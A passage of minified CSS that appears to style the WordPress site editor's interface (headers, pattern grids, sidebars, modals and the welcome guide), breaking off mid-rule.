.edit-site-global-styles-screen-revisions__meta{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__button{justify-content:center;width:100%}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__meta{align-items:center;color:#757575;display:flex;justify-content:space-between;text-align:left;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-header-edit-mode{align-items:center;background-color:#fff;border-bottom:1px solid #e0e0e0;box-sizing:border-box;color:#1e1e1e;display:flex;height:60px;justify-content:space-between;padding-left:60px;width:100%}.edit-site-header-edit-mode .edit-site-header-edit-mode__start{border:none;display:flex}.edit-site-header-edit-mode .edit-site-header-edit-mode__end{display:flex;justify-content:flex-end}.edit-site-header-edit-mode .edit-site-header-edit-mode__center{align-items:center;display:flex;flex-grow:1;height:100%;justify-content:center;margin:0 8px;min-width:0}.edit-site-header-edit-mode__toolbar{align-items:center;display:flex;padding-left:8px}@media (min-width:600px){.edit-site-header-edit-mode__toolbar{padding-left:24px}}@media (min-width:1280px){.edit-site-header-edit-mode__toolbar{padding-right:8px}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle{height:32px;margin-right:8px;min-width:32px;padding:0;width:32px}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.edit-site-header-edit-mode__actions{align-items:center;display:inline-flex;gap:4px;padding-right:4px}@media (min-width:600px){.edit-site-header-edit-mode__actions{gap:8px;padding-right:10px}}.edit-site-header-edit-mode__preview-options{opacity:1;transition:opacity .3s}.edit-site-header-edit-mode__preview-options.is-zoomed-out{opacity:0}.edit-site-header-edit-mode__start{border:none;display:flex}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon{height:36px;min-width:36px;padding:6px}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon.is-pressed,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:focus:not(:disabled),.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:before,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:before{display:none}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-icon{height:32px;margin-right:8px;min-width:32px;padding:0;width:32px}.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-text.has-icon{padding:0 8px;width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{display:none}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{content:attr(aria-label)}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{background-color:transparent}.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{background-color:transparent;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{padding-left:6px;padding-right:6px}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{content:none}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{height:36px;padding:0 8px}.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>*+*{margin-left:8px}.edit-site-document-actions{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:36px;justify-content:space-between;min-width:0;width:min(100%,450px)}.has-fixed-toolbar .edit-site-document-actions{width:min(100%,380px)}.edit-site-document-actions:hover{background-color:#e0e0e0}.edit-site-document-actions .components-button{border-radius:4px}.edit-site-document-actions .components-button:hover{background:#e0e0e0;color:var(--wp-block-synced-color)}@media (min-width:960px){.edit-site-document-actions{width:min(100%,450px)}}.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title,.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title h1{color:var(--wp-block-synced-color)}.edit-site-document-actions__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.edit-site-document-actions__title{flex-grow:1;overflow:hidden}@media (min-width:600px){.edit-site-document-actions__title{padding-left:32px}}.edit-site-document-actions__title:hover{color:var(--wp-block-synced-color)}.edit-site-document-actions__title .block-editor-block-icon{flex-shrink:0;min-width:24px}.edit-site-document-actions__title h1{max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-document-actions.is-page .edit-site-document-actions__title,.edit-site-document-actions.is-page .edit-site-document-actions__title h1{color:#2f2f2f}.edit-site-document-actions.is-animated .edit-site-document-actions__title{animation:edit-site-document-actions__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated .edit-site-document-actions__title{animation-delay:0s;animation-duration:1ms}}.edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{animation:edit-site-document-actions__slide-in-right .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{animation-delay:0s;animation-duration:1ms}}.edit-site-document-actions__shortcut{color:#2f2f2f;display:none;min-width:32px}@media (min-width:600px){.edit-site-document-actions__shortcut{display:initial}}.edit-site-document-actions__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.edit-site-document-actions__back.components-button.has-icon.has-text:hover{background-color:transparent;color:currentColor}.edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{animation:edit-site-document-actions__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{animation-delay:0s;animation-duration:1ms}}@keyframes edit-site-document-actions__slide-in-right{0%{opacity:0;transform:translateX(-15%)}to{opacity:1;transform:translateX(0)}}@keyframes edit-site-document-actions__slide-in-left{0%{opacity:0;transform:translateX(15%)}to{opacity:1;transform:translateX(0)}}.edit-site-list-header{align-items:center;box-sizing:border-box;display:flex;height:60px;justify-content:flex-end;padding-right:16px;position:relative;width:100%}body.is-fullscreen-mode .edit-site-list-header{padding-left:60px;transition:padding-left 20ms linear;transition-delay:80ms}@media (prefers-reduced-motion:reduce){body.is-fullscreen-mode .edit-site-list-header{transition-delay:0s;transition-duration:0s}}.edit-site-list-header .edit-site-list-header__title{font-size:20px;left:0;margin:0;padding:0;position:absolute;text-align:center;width:100%}.edit-site-list-header__right{position:relative}.edit-site .edit-site-list{background:#fff;border-radius:8px;box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8);flex-grow:1}.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:100%}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:0}}.edit-site .edit-site-list .interface-interface-skeleton__content{align-items:center;background:#fff;padding:16px}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__content{padding:72px}}.edit-site-list-table{border:1px solid #ddd;border-radius:2px;border-spacing:0;margin:0 auto;max-width:960px;min-width:100%;overflow:hidden}.edit-site-list-table tr{align-items:center;border-top:1px solid #f0f0f0;box-sizing:border-box;display:flex;margin:0;padding:16px}.edit-site-list-table tr:first-child{border-top:0}@media (min-width:782px){.edit-site-list-table tr{padding:24px 32px}}.edit-site-list-table tr .edit-site-list-table-column:first-child{padding-right:24px;width:calc(60% - 18px)}.edit-site-list-table tr .edit-site-list-table-column:first-child a{display:inline-block;font-weight:500;margin-bottom:4px;text-decoration:none}.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){width:calc(40% - 18px);word-break:break-word}.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){flex-shrink:0;min-width:36px}.edit-site-list-table tr.edit-site-list-table-head{border-bottom:1px solid #ddd;border-top:none;color:#1e1e1e;font-size:16px;font-weight:600;text-align:left}.edit-site-list-table tr.edit-site-list-table-head th{font-weight:inherit}@media (min-width:782px){.edit-site-list.is-navigation-open .components-snackbar-list{margin-left:360px}}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-template__actions button:not(:last-child){margin-right:8px}.edit-site-list-added-by__icon{align-items:center;background:#2f2f2f;border-radius:100%;display:flex;flex-shrink:0;height:32px;justify-content:center;width:32px}.edit-site-list-added-by__icon svg{fill:#fff}.edit-site-list-added-by__avatar{background:#2f2f2f;border-radius:100%;flex-shrink:0;height:32px;overflow:hidden;width:32px}.edit-site-list-added-by__avatar img{height:32px;object-fit:cover;opacity:0;transition:opacity .1s linear;width:32px}@media (prefers-reduced-motion:reduce){.edit-site-list-added-by__avatar img{transition-delay:0s;transition-duration:0s}}.edit-site-list-added-by__avatar.is-loaded img{opacity:1}.edit-site-list-added-by__customized-info{color:#757575;display:block}.edit-site-page{background:#fff;color:#2f2f2f;flex-grow:1;margin:60px 0 0;overflow:hidden}@media (min-width:782px){.edit-site-page{border-radius:8px;margin:24px 24px 24px 0}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;min-height:60px;padding:0 32px;position:sticky;top:0;z-index:2}.edit-site-page-header .components-text{color:#2f2f2f}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__sub-title{color:#757575;margin-top:8px}.edit-site-page-content{display:flex;flex-flow:column;height:100%;overflow:auto;position:relative;z-index:1}.edit-site-patterns{background:none;border-left:1px solid #2f2f2f;border-radius:0;margin:60px 0 0;overflow-x:auto;padding:0}.edit-site-patterns .components-base-control{width:100%}@media (min-width:782px){.edit-site-patterns .components-base-control{width:auto}}.edit-site-patterns .components-text{color:#949494}.edit-site-patterns .components-heading{color:#e0e0e0}@media (min-width:782px){.edit-site-patterns{margin:0}}.edit-site-patterns .edit-site-patterns__search-block{flex-grow:1;min-width:-moz-fit-content;min-width:fit-content}.edit-site-patterns .edit-site-patterns__search input[type=search]{background:#2f2f2f;color:#e0e0e0;height:40px}.edit-site-patterns .edit-site-patterns__search input[type=search]:focus{background:#2f2f2f}.edit-site-patterns .edit-site-patterns__search svg{fill:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter{background:#2f2f2f;border:none;height:40px;max-width:100%;min-width:max-content;width:100%}@media (min-width:782px){.edit-site-patterns .edit-site-patterns__sync-status-filter{width:300px}}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){color:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{background:#757575;color:#f0f0f0}.edit-site-patterns .edit-site-patterns__grid-pagination{background:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;padding:24px 32px;position:sticky;z-index:2}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary{background-color:#2f2f2f;color:#f0f0f0;height:32px;justify-content:center;width:32px}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575}.edit-site-patterns__header{background:#1e1e1e;padding:32px 32px 16px;position:sticky;top:0;z-index:2}.edit-site-patterns__section{flex:1;padding:24px 32px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-patterns__grid{display:grid;gap:32px;grid-template-columns:1fr;margin-bottom:0;margin-top:0}@media (min-width:960px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr}}@media (min-width:1440px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr}}@media (min-width:1920px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr 1fr}}.edit-site-patterns__grid .edit-site-patterns__pattern{break-inside:avoid-column;display:flex;flex-direction:column}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;overflow:hidden;padding:0}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{box-shadow:inset 0 0 0 0 #fff,0 0 0 2px var(--wp-admin-theme-color);outline:2px solid transparent}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{cursor:default}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;opacity:.8}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{color:#949494}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{flex-shrink:0}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{align-items:center;border:1px dashed #2f2f2f;color:#949494;display:flex;justify-content:center;min-height:64px}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-patterns__grid .edit-site-patterns__preview{flex:0 1 auto;margin-bottom:12px}.edit-site-patterns__load-more{align-self:center}.edit-site-patterns__pattern-title{color:#e0e0e0}.edit-site-patterns__pattern-title .is-link{color:#e0e0e0;text-decoration:none}.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{color:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{fill:#fff;background:var(--wp-block-synced-color);border-radius:4px}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{fill:currentcolor}.edit-site-patterns__no-results{color:#949494}.edit-site-table-wrapper{padding:32px;width:100%}.edit-site-table{border-collapse:collapse;border-color:inherit;position:relative;text-indent:0;width:100%}.edit-site-table a{text-decoration:none}.edit-site-table th{color:#757575;font-weight:400;padding:0 16px 16px;text-align:left}.edit-site-table td{padding:16px}.edit-site-table td,.edit-site-table th{vertical-align:center}.edit-site-table td:first-child,.edit-site-table th:first-child{padding-left:0}.edit-site-table td:last-child,.edit-site-table th:last-child{padding-right:0;text-align:right}.edit-site-table tr{border-bottom:1px solid #f0f0f0}.edit-site-sidebar-edit-mode{width:280px}.edit-site-sidebar-edit-mode>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{background:#f0f0f0}.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{display:flex;flex:1;flex-direction:column}.edit-site-global-styles-sidebar__navigator-screen{flex:1}.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{margin-left:0}.edit-site-global-styles-sidebar__reset-button.components-button{margin-left:auto}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-sidebar-fixed-bottom-slot{background:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:content-box;display:flex;padding:16px;position:sticky}.edit-site-swap-template-modal{z-index:1000001}.edit-site-page-panels__swap-template__confirm-modal__actions{margin-top:24px}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-change-status__content .components-popover__content{min-width:320px;padding:16px}.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{gap:8px}.edit-site-change-status__content .edit-site-change-status__options label .components-text{display:block;margin-left:26px}.edit-site-change-status__content .edit-site-change-status__password-legend{margin-bottom:8px;padding:0}.edit-site-summary-field .components-dropdown{width:70%}.edit-site-summary-field .edit-site-summary-field__trigger{display:block;max-width:100%;overflow:hidden;text-align:left;text-overflow:ellipsis;white-space:nowrap}.edit-site-summary-field .edit-site-summary-field__label{width:30%}.edit-site-page-panels-edit-template__dropdown .components-popover__content{min-width:240px}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{border-top:0;justify-content:flex-start;margin-top:0;padding-left:0;padding-right:16px}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs ul{display:flex}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs li{margin:0}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:none;height:24px;margin:0 0 0 auto;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:flex}}.components-button.edit-site-sidebar-edit-mode__panel-tab{background:transparent;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-left:0;padding:3px 16px;position:relative}.components-button.edit-site-sidebar-edit-mode__panel-tab:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-button.edit-site-sidebar-edit-mode__panel-tab:after{background:var(--wp-admin-theme-color);border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-site-sidebar-edit-mode__panel-tab:after{transition-delay:0s;transition-duration:0s}}.components-button.edit-site-sidebar-edit-mode__panel-tab.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid transparent;outline-offset:-1px}.components-button.edit-site-sidebar-edit-mode__panel-tab:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 transparent;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-site-sidebar-edit-mode__panel-tab:before{transition-delay:0s;transition-duration:0s}}.components-button.edit-site-sidebar-edit-mode__panel-tab:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.edit-site-sidebar-card{align-items:flex-start;display:flex}.edit-site-sidebar-card__content{flex-grow:1;margin-bottom:4px}.edit-site-sidebar-card__title{font-weight:500;line-height:24px}.edit-site-sidebar-card__title.edit-site-sidebar-card__title{margin:0}.edit-site-sidebar-card__description{font-size:13px}.edit-site-sidebar-card__icon{flex:0 0 24px;height:24px;margin-right:12px;width:24px}.edit-site-sidebar-card__header{display:flex;justify-content:space-between;margin:0 0 4px}.edit-site-template-card__template-areas{margin-top:16px}.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{margin:0}.edit-site-template-card__template-areas-item{width:100%}.edit-site-template-card__template-areas-item.components-button.has-icon{padding:0}.edit-site-template-card__actions{line-height:0}.edit-site-template-card__actions>.components-button.is-small.has-icon{min-width:auto;padding:0}.edit-site-template-revisions{margin-left:-4px}h3.edit-site-template-card__template-areas-title{font-weight:500;margin:0 0 8px}.edit-site-template-panel__replace-template-modal{z-index:1000001}.edit-site-template-panel__replace-template-modal__content{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-template-panel__replace-template-modal__content{column-count:3}}@media (min-width:1280px){.edit-site-template-panel__replace-template-modal__content{column-count:4}}.edit-site-editor__interface-skeleton{opacity:1;transition:opacity .1s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-editor__interface-skeleton{transition-delay:0s;transition-duration:0s}}.edit-site-editor__interface-skeleton.is-loading{opacity:0}.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{border:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site .components-editor-notices__snackbar{bottom:40px;left:0;padding-left:16px;padding-right:16px;position:absolute;right:0}@media (min-width:783px){.edit-site .components-editor-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-site .components-editor-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-site .components-editor-notices__snackbar{left:160px}}.folded .edit-site .components-editor-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-site .components-editor-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{left:0!important}.edit-site-create-template-part-modal{z-index:1000001}@media (min-width:600px){.edit-site-create-template-part-modal .components-modal__frame{max-width:500px}}.edit-site-create-template-part-modal__area-radio-group{border:1px solid #757575;border-radius:2px;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{display:block;height:100%;padding:12px;text-align:left;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{background-color:inherit;border-bottom:1px solid #757575;border-radius:0;margin:0}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){box-shadow:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{border-bottom:1px solid #fff}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{border-bottom:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{color:#1e1e1e;cursor:auto}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{color:#949494}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{padding-top:4px;white-space:normal}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{font-size:12px;padding-top:4px}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{margin-left:auto;min-width:24px}.edit-site-editor__inserter-panel,.edit-site-editor__list-view-panel{display:flex;flex-direction:column;height:100%}@media (min-width:782px){.edit-site-editor__list-view-panel{width:350px}}.edit-site-editor__inserter-panel-header{display:flex;justify-content:flex-end;padding-right:8px;padding-top:8px}.edit-site-editor__inserter-panel-content,.edit-site-editor__list-view-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-site-editor__inserter-panel-content{height:100%}}.edit-site-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:16px;padding-right:4px}.edit-site-editor__list-view-panel-content{height:100%;overflow:auto;padding:8px 6px;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.edit-site-editor__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.edit-site-editor__list-view-panel-content::-webkit-scrollbar-track{background-color:transparent}.edit-site-editor__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.edit-site-editor__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:focus::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.edit-site-editor__list-view-panel-content:focus,.edit-site-editor__list-view-panel-content:focus-within,.edit-site-editor__list-view-panel-content:hover{scrollbar-color:#949494 transparent}@media (hover:none){.edit-site-editor__list-view-panel-content{scrollbar-color:#949494 transparent}}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.edit-site-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-site-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-site-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-site-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-site-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 